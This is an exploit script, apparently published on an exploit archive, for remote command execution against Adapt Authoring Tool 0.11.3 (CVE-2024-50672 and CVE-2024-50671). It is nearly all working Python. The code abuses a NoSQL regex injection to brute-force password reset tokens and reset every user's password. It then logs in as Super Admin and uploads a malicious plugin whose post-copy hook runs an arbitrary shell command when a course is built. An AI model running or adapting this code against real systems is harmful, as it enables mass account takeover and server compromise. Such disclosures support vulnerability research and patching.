📄 Adapt Authoring Tool 0.11.3 Remote Command Execution

# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
    # Date: 2024-11-24
    # Exploit Author: Eui Chul Chung
    # Vendor Homepage: https://www.adaptlearning.org/
    # Software Link: https://github.com/adaptlearning/adapt_authoring
    # Version: 0.11.3
    # CVE Identifier: CVE-2024-50672 , CVE-2024-50671
    
    import io
    import sys
    import json
    import zipfile
    import argparse
    import requests
    import textwrap
    
    
    def get_session_cookie(username, password):
        data = {"email": username, "password": password}
        res = requests.post(f"{args.url}/api/login", data=data)
    
        if res.status_code == 200:
            print(f"[+] Login as {username}")
            return res.cookies.get_dict()
    
        return None
    
    
    def get_users():
        session_cookie = get_session_cookie(args.username, args.password)
        if session_cookie is None:
            print("[-] Login failed")
            sys.exit()
    
        res = requests.get(f"{args.url}/api/user", cookies=session_cookie)
        users = [
            {"email": user["email"], "role": user["roles"][0]["name"]}
            for user in json.loads(res.text)
        ]
    
        roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3}
        users.sort(key=lambda user: roles[user["role"]])
        for user in users:
            print(f"[+] {user['email']} ({user['role']})")
    
        return users
    
    
    def reset_password(users):
        # Overwrite potentially expired password reset tokens
        for user in users:
            data = {"email": user["email"]}
            requests.post(f"{args.url}/api/createtoken", data=data)
        print("[+] Generate password reset token for every user")
    
        valid_characters = "0123456789abcdef"
        next_tokens = ["^"]
    
        # Ensure that only a single result is returned at a time
        while next_tokens:
            prev_tokens = next_tokens
            next_tokens = []
    
            for token in prev_tokens:
                for ch in valid_characters:
                    data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"}
                    res = requests.put(
                        f"{args.url}/api/userpasswordreset/w00tw00t",
                        json=data,
                    )
    
                    # Multiple results returned
                    if res.status_code == 500:
                        next_tokens.append(token + ch)
    
        print("[+] Reset every password to HaXX0r3d!")
    
    
    def create_plugin(plugin_name):
        manifest = {
            "name": plugin_name,
            "version": "1.0.0",
            "extension": "exploit",
            "main": "/js/main.js",
            "displayName": "exploit",
            "keywords": ["adapt-plugin", "adapt-extension"],
            "scripts": {"adaptpostcopy": "/scripts/postcopy.js"},
        }
    
        property = {
            "properties": {
                "pluginLocations": {
                    "type": "object",
                    "properties": {"course": {"type": "object"}},
                }
            }
        }
    
        payload = textwrap.dedent(
            f"""
        const {{ exec }} = require("child_process");
    
        module.exports = async function (fs, path, log, options, done) {{
          try {{
            exec("{args.command}");
          }} catch (err) {{
            log(err);
          }}
          done();
        }};
        """
        ).strip()
    
        plugin = io.BytesIO()
        with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
            zip_file.writestr(
                f"{plugin_name}/bower.json",
                io.BytesIO(json.dumps(manifest).encode()).getvalue(),
            )
            zip_file.writestr(
                f"{plugin_name}/properties.schema",
                io.BytesIO(json.dumps(property).encode()).getvalue(),
            )
            zip_file.writestr(
                f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue()
            )
            zip_file.writestr(
                f"{plugin_name}/scripts/postcopy.js",
                io.BytesIO(payload.encode()).getvalue(),
            )
    
        plugin.seek(0)
        return plugin
    
    
    def find_plugin(cookies, plugin_type, plugin_name):
        res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies)
        for plugin in json.loads(res.text):
            if plugin["name"] == plugin_name:
                return plugin["_id"]
    
        return None
    
    
    def create_course(cookies):
        data = {}
        res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data)
        course_id = json.loads(res.text)["_id"]
    
        data = {"_courseId": course_id, "_parentId": course_id}
        res = requests.post(
            f"{args.url}/api/content/contentobject",
            cookies=cookies,
            json=data,
        )
        content_id = json.loads(res.text)["_id"]
    
        data = {"_courseId": course_id, "_parentId": content_id}
        res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data)
        article_id = json.loads(res.text)["_id"]
    
        data = {"_courseId": course_id, "_parentId": article_id}
        res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data)
        block_id = json.loads(res.text)["_id"]
    
        component_id = find_plugin(cookies, "component", "adapt-contrib-text")
    
        data = {
            "_courseId": course_id,
            "_parentId": block_id,
            "_component": "text",
            "_componentType": component_id,
        }
        requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data)
    
        return course_id
    
    
    def rce(users):
        session_cookie = None
        for user in users:
            if user["role"] == "Super Admin":
                session_cookie = get_session_cookie(user["email"], "HaXX0r3d!")
                break
    
        if session_cookie is None:
            print("[-] Failed to login as Super Account")
            sys.exit()
    
        plugin_name = "adapt-contrib-xapi"
        print(f"[+] Create malicious plugin : {plugin_name}")
        plugin = create_plugin(plugin_name)
    
        print("[+] Scan installed plugins")
        plugin_id = find_plugin(session_cookie, "extension", plugin_name)
        if plugin_id is None:
            print(f"[+] {plugin_name} not found")
        else:
            print(f"[+] Found {plugin_name}")
            print(f"[+] Remove {plugin_name}")
            requests.delete(
                f"{args.url}/api/extensiontype/{plugin_id}",
                cookies=session_cookie,
            )
    
        print("[+] Upload plugin")
        files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
        requests.post(
            f"{args.url}/api/upload/contentplugin",
            cookies=session_cookie,
            files=files,
        )
    
        print("[+] Find uploaded plugin")
        plugin_id = find_plugin(session_cookie, "extension", plugin_name)
        if plugin_id is None:
            print(f"[-] {plugin_name} not found")
            sys.exit()
        print(f"[+] Plugin ID : {plugin_id}")
    
        print("[+] Add plugin to new courses")
        data = {"_isAddedByDefault": True}
        requests.put(
            f"{args.url}/api/extensiontype/{plugin_id}",
            cookies=session_cookie,
            json=data,
        )
    
        print("[+] Create a new course")
        course_id = create_course(session_cookie)
    
        print("[+] Build course")
        res = requests.get(
            f"{args.url}/api/output/adapt/preview/{course_id}",
            cookies=session_cookie,
        )
    
        if res.status_code == 200:
            print("[+] Command execution succeeded")
        else:
            print("[-] Command execution failed")
    
        print("[+] Remove course")
        requests.delete(
            f"{args.url}/api/content/course/{course_id}",
            cookies=session_cookie,
        )
    
    
    def main():
        print("[*] Retrieve user information")
        users = get_users()
    
        print("\n[*] Reset password")
        reset_password(users)
    
        print("\n[*] Perform remote code execution")
        rce(users)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "-u",
            dest="url",
            help="Site URL (e.g.  www.adaptlearning.org)",
            type=str,
            required=True,
        )
        parser.add_argument(
            "-U",
            dest="username",
            help="Username to authenticate as",
            type=str,
            required=True,
        )
        parser.add_argument(
            "-P",
            dest="password",
            help="Password for the specified username",
            type=str,
            required=True,
        )
        parser.add_argument(
            "-c",
            dest="command",
            help="Command to execute (e.g. touch /tmp/pwned)",
            type=str,
            default="touch /tmp/pwned",
        )
        args = parser.parse_args()
    
        main()